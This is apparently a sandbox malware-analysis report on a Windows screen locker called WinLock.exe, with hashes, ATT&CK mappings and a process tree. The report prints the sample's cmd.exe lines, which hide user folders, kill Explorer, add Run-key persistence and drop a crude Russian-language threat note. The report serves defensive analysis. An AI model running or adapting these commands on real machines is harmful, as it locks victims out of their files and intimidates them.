ac51472c916956dbd9bcb852a2bd9718a47dd69ca6562472b3591037634a329b

Analysis

user interaction
yes
max time kernel
150s
max time network
145s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
07/08/2026, 09:12

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
WinLock.exe
Size 419KB
Sample260807-k59nqs1erc
SHA256 ac51472c916956dbd9bcb852a2bd9718a47dd69ca6562472b3591037634a329b
MD5 b2d6f854d54102495d37b33879802982
SHA1 e3118a8ad0c8179897d43b32ac5940a378edf0cc
SHA512 363b4e2e4c8fd71ea34b98470810d14df3886a1fb97acff70d425c83478524c41499c150e493d4353d09c5d029eadc0fa014ef74145aa7a48006ed6c99fb361a
SSDEEP 6144:aEhfGkHBdZ5py4WNRyYKmuNyy6XgMmTIjyzrrGNGylAmOKYIwUZx9azgMSCpMW90:d++dXpy7Kvyy6QnFHrX7KY
TLSH
T1CB94C09413AAC57DC2BD13BEE0A605060BF07223D243E75CABF8A1E6AD37711E715A47
MD5 SHA1 SHA512 SSDEEP TLSH

Score

6^/10

defense_evasion persistence

Malware Config

Signatures

Adds Run key to start application 2 TTPs 10 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_6 = "native.exe"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_7 = "ux-cryptor.exe"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\MSEdgeUpdateX = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\WinLock.exe\""	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_2 = "taskhost.exe"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_3 = "windowsx-c.exe"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_5 = "_default64.exe"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_8 = "crypt0rsx.exe"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\WindowsInstaller = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\WinLock.exe\" -startup"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_1 = "AWindowsService.exe"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_4 = "System.exe"	WinLock.exe

Drops desktop.ini file(s) 4 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Documents\desktop.ini	attrib.exe
File opened for modification	C:\Users\Public\Desktop\desktop.ini	attrib.exe
File opened for modification	C:\Users\Admin\Desktop\desktop.ini	attrib.exe
File opened for modification	C:\Users\Admin\Downloads\desktop.ini	attrib.exe

Hide Artifacts: Hidden Files and Directories 1 TTPs 6 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
2612	cmd.exe
2052	cmd.exe
2804	cmd.exe
4780	cmd.exe
4504	cmd.exe
3584	cmd.exe

Kills process with taskkill 1 IoCs

defense_evasion

pid	Process
5560	taskkill.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
552	WinLock.exe
552	WinLock.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	552	WinLock.exe
Token: SeDebugPrivilege	5560	taskkill.exe

Suspicious use of WriteProcessMemory 19 IoCs

description	pid	Process	procid_target
PID 552 wrote to memory of 3584	552	WinLock.exe	102
PID 552 wrote to memory of 4504	552	WinLock.exe	103
PID 552 wrote to memory of 4780	552	WinLock.exe	104
PID 552 wrote to memory of 2804	552	WinLock.exe	105
PID 552 wrote to memory of 2052	552	WinLock.exe	106
PID 552 wrote to memory of 2612	552	WinLock.exe	107
PID 552 wrote to memory of 5560	552	WinLock.exe	108
PID 4504 wrote to memory of 2512	4504	cmd.exe	116
PID 2612 wrote to memory of 1464	2612	cmd.exe	117
PID 3584 wrote to memory of 4244	3584	cmd.exe	118
PID 2804 wrote to memory of 5876	2804	cmd.exe	120
PID 4780 wrote to memory of 2920	4780	cmd.exe	119
PID 2052 wrote to memory of 2296	2052	cmd.exe	121
PID 2612 wrote to memory of 4444	2612	cmd.exe	122
PID 2804 wrote to memory of 3644	2804	cmd.exe	123
PID 2052 wrote to memory of 2796	2052	cmd.exe	124
PID 4780 wrote to memory of 4920	4780	cmd.exe	125
PID 4504 wrote to memory of 2280	4504	cmd.exe	126
PID 3584 wrote to memory of 1968	3584	cmd.exe	127

Views/modifies file attributes 1 TTPs 12 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
2512	attrib.exe
4244	attrib.exe
1464	attrib.exe
2296	attrib.exe
2796	attrib.exe
5876	attrib.exe
2920	attrib.exe
4444	attrib.exe
3644	attrib.exe
4920	attrib.exe
2280	attrib.exe
1968	attrib.exe

C:\Users\Admin\AppData\Local\Temp\WinLock.exe
"C:\Users\Admin\AppData\Local\Temp\WinLock.exe"
1⤵
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:552
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c F: & attrib +h +s +r +i /D & echo [%RANDOM%] Привет! ты попал под атаку cumshot!!!! попытавшися избежать из нее то на твой пк упадет мировая машина!!! что приведет к взрыву компудахтера!!! смирись с потерей компухтера!! а еще помни, тебя снимают, фоткают, и в реальном времени пытаются списывать деньги с карты для онлифанс! 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:3584
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Views/modifies file attributes
    PID:4244
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:1968
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%\desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] Привет! ты попал под атаку cumshot!!!! попытавшися избежать из нее то на твой пк упадет мировая машина!!! что приведет к взрыву компудахтера!!! смирись с потерей компухтера!! а еще помни, тебя снимают, фоткают, и в реальном времени пытаются списывать деньги с карты для онлифанс! 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:4504
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Drops desktop.ini file(s)
    - Views/modifies file attributes
    PID:2512
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:2280
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%systemdrive%\Users\Public\Desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] Привет! ты попал под атаку cumshot!!!! попытавшися избежать из нее то на твой пк упадет мировая машина!!! что приведет к взрыву компудахтера!!! смирись с потерей компухтера!! а еще помни, тебя снимают, фоткают, и в реальном времени пытаются списывать деньги с карты для онлифанс! 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:4780
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Drops desktop.ini file(s)
    - Views/modifies file attributes
    PID:2920
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:4920
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%\downloads"&attrib +h +s +r +i /D & echo [%RANDOM%] Привет! ты попал под атаку cumshot!!!! попытавшися избежать из нее то на твой пк упадет мировая машина!!! что приведет к взрыву компудахтера!!! смирись с потерей компухтера!! а еще помни, тебя снимают, фоткают, и в реальном времени пытаются списывать деньги с карты для онлифанс! 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:2804
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Drops desktop.ini file(s)
    - Views/modifies file attributes
    PID:5876
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:3644
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%\documents"&attrib +h +s +r +i /D & echo [%RANDOM%] Привет! ты попал под атаку cumshot!!!! попытавшися избежать из нее то на твой пк упадет мировая машина!!! что приведет к взрыву компудахтера!!! смирись с потерей компухтера!! а еще помни, тебя снимают, фоткают, и в реальном времени пытаются списывать деньги с карты для онлифанс! 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:2052
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Drops desktop.ini file(s)
    - Views/modifies file attributes
    PID:2296
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:2796
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%"&attrib +h +s +r +i /D & echo [%RANDOM%] Привет! ты попал под атаку cumshot!!!! попытавшися избежать из нее то на твой пк упадет мировая машина!!! что приведет к взрыву компудахтера!!! смирись с потерей компухтера!! а еще помни, тебя снимают, фоткают, и в реальном времени пытаются списывать деньги с карты для онлифанс! 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:2612
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Views/modifies file attributes
    PID:1464
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:4444
- C:\Windows\SYSTEM32\taskkill.exe
  taskkill.exe /im Explorer.exe /f
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:5560

C:\Users\Admin\AppData\Local\Temp\WinLock.exe
"C:\Users\Admin\AppData\Local\Temp\WinLock.exe"
1⤵
PID:5672

C:\Users\Admin\AppData\Local\Temp\WinLock.exe
"C:\Users\Admin\AppData\Local\Temp\WinLock.exe" -startup
1⤵
PID:1084

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

info-Locker.txt

Path C:\Users\Admin\info-Locker.txt
Size 291B
SHA256 f226b3a5fba33b7c890a7a1ab2129319ea9bf4ac9c40e7c4f31708a568054a5c
MD5 2018a34e2952a2587c896eebd2415c7f
SHA1 ba9b35a1121e258381e10a2a1aae4dad10d6710d
SHA512 17ff723d72ddde772e079cbb14bb5dbb0dbb8d5f3e244736d94cca9e5ef6a730c61f5377f5043beed16da4eb3b017f7569aef832fd737de9d266da5fa563a394
TLSH
T14FD00152CC178C4210404D04EF3D5E496C5DF54019903843305B9C3205D1F0D891F5D9
MD5 SHA1 SHA512 TLSH

Submit Download

memory/552-8-0x00007FFDCD6E0000-0x00007FFDCE084000-memory.dmp

Download

memory/552-2-0x00007FFDCD6E0000-0x00007FFDCE084000-memory.dmp

Download

memory/552-3-0x00007FFDCD6E0000-0x00007FFDCE084000-memory.dmp

Download

memory/552-4-0x00007FFDCD6E0000-0x00007FFDCE084000-memory.dmp

Download

memory/552-5-0x00007FFDCD6E0000-0x00007FFDCE084000-memory.dmp

Download

memory/552-6-0x00007FFDCD6E0000-0x00007FFDCE084000-memory.dmp

Download

memory/552-7-0x00007FFDCD6E0000-0x00007FFDCE084000-memory.dmp

Download

memory/552-9-0x00007FFDCD6E0000-0x00007FFDCE084000-memory.dmp

Download

memory/552-0-0x00007FFDCD86F000-0x00007FFDCD870000-memory.dmp

Download

memory/552-10-0x00007FFDCD6E0000-0x00007FFDCE084000-memory.dmp

Download

memory/552-34-0x00007FFDCD6E0000-0x00007FFDCE084000-memory.dmp

Download

memory/552-33-0x00007FFDCD6E0000-0x00007FFDCE084000-memory.dmp

Download

memory/552-32-0x00007FFDCD6E0000-0x00007FFDCE084000-memory.dmp

Download

memory/552-31-0x00007FFDCD6E0000-0x00007FFDCE084000-memory.dmp

Download

memory/552-1-0x00000000002A0000-0x0000000000310000-memory.dmp

Download

memory/5672-15-0x00007FFDCD6E0000-0x00007FFDCE084000-memory.dmp

Download

memory/5672-14-0x00007FFDCD6E0000-0x00007FFDCE084000-memory.dmp

Download

memory/5672-11-0x00007FFDCD6E0000-0x00007FFDCE084000-memory.dmp

Download

memory/5672-12-0x00007FFDCD6E0000-0x00007FFDCE084000-memory.dmp

Download

memory/5672-13-0x00007FFDCD6E0000-0x00007FFDCE084000-memory.dmp

Download